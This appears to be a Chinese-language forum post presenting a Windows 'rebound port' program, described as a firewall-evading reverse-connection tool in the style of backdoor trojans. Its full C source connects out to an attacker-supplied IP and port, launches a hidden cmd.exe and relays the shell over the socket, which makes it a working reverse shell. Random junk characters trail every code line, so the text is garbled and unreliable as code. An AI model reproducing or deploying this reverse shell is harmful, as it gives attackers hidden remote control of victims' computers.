这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 yLt>OA<X
dwm>!h
/* ============================== [wUJ~~2#
Rebound port in Windows NT 1,6Y)_
By wind,2006/7 j,N,WtE
===============================*/ ?:RWHe.P
#include }cg 1CT5
#include w)gMJX/0yw
B 5va4@
#pragma comment(lib,"wsock32.lib") FsfP^a
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void OutputShell(); (m=F
SOCKET sClient; iP?=5j=4
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; <P
c;8[
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void main(int argc,char **argv) L4Si0 K
{ 5%R$7>`Z
WSADATA stWsaData; $60]RCu
int nRet; zMAlZ[DN
SOCKADDR_IN stSaiClient,stSaiServer; 2iWxx:e
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if(argc != 3) \J{%xW>
{ [b@9V_
printf("Useage:\n\rRebound DestIP DestPort\n"); .A<n2-
return; ==~
lc;
} %>:d5"&Lbs
z)pp{
WSAStartup(MAKEWORD(2,2),&stWsaData); s|C4Jy_
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); c(!{_+q"
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stSaiClient.sin_family = AF_INET; Qx[
nR/
stSaiClient.sin_port = htons(0); 7vK}aOs0
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); >)iCKx
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) Z_?r5M;
{ U~{sJwB
printf("Bind Socket Failed!\n"); OW8"7*irT
return; Q
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} GAcU8MD
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stSaiServer.sin_family = AF_INET; 5TcirVO82
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); rfc;
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); iY4FOt7\
ai(J%"D"
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) u6u1>
{ s4Z5t$0|
printf("Connect Error!"); F /% 5 r{
return; [|\BuUT'
} qUF}rlS=r
OutputShell(); F;_L/8Ov1
} )]C7+{ImC
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void OutputShell() K~Hp%.
{ vFGFFA/K}N
char szBuff[1024]; O&u[^s/^
SECURITY_ATTRIBUTES stSecurityAttributes; J^BC
OSVERSIONINFO stOsversionInfo; g{?]a'?
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; Up kw.`D`
STARTUPINFO stStartupInfo; $^4URH
char *szShell; 1]vrpJw
PROCESS_INFORMATION stProcessInformation; geRD2`3;
unsigned long lBytesRead; 7'9~Kx&+
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); U[UjL)U
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); }2eP~3
stSecurityAttributes.lpSecurityDescriptor = 0; bl;C=n
stSecurityAttributes.bInheritHandle = TRUE; a,sU-w!X'
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); &\, ZtaB
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); ^q0Ox&X
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); T};fy+iq
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; jI(}CT`g
stStartupInfo.wShowWindow = SW_HIDE; `kdP)lI
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stStartupInfo.hStdInput = hReadPipe; ?lYi![.o
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; hDJ84$eVZ
\Q+<G-Kb.
GetVersionEx(&stOsversionInfo); Htf|VpzMb
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switch(stOsversionInfo.dwPlatformId) ie!ik
{ i|5 K4Puu
case 1: SDTX3A1
szShell = "command.com"; tNI~<#+lg
break; ):lq}6J#
default: *hp3w
szShell = "cmd.exe"; 8N|y
break; a0oM KGW:
} eVZ/3o
\?_eQKiZ3
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); 4epE!`z_&
5};Nv{km^2
send(sClient,szMsg,77,0); Ih]'OaE
while(1) mV0.9pxS
{ Vb`m3
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); 0#
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if(lBytesRead) ZS@Cd9*
{ b NBpt}$
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); %z&=A%'a
send(sClient,szBuff,lBytesRead,0); =Zcbfo_&
} _-^Lr
/`G!
else i6p0(OS&D
{ UGNFWZ c
lBytesRead=recv(sClient,szBuff,1024,0); j"aimjqd3
if(lBytesRead<=0) break; \h DH81L
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); G(-1"7
} ).0h4oHSj
} 777N0,o(
\Ze"Hv
return; U[1Ir92:
}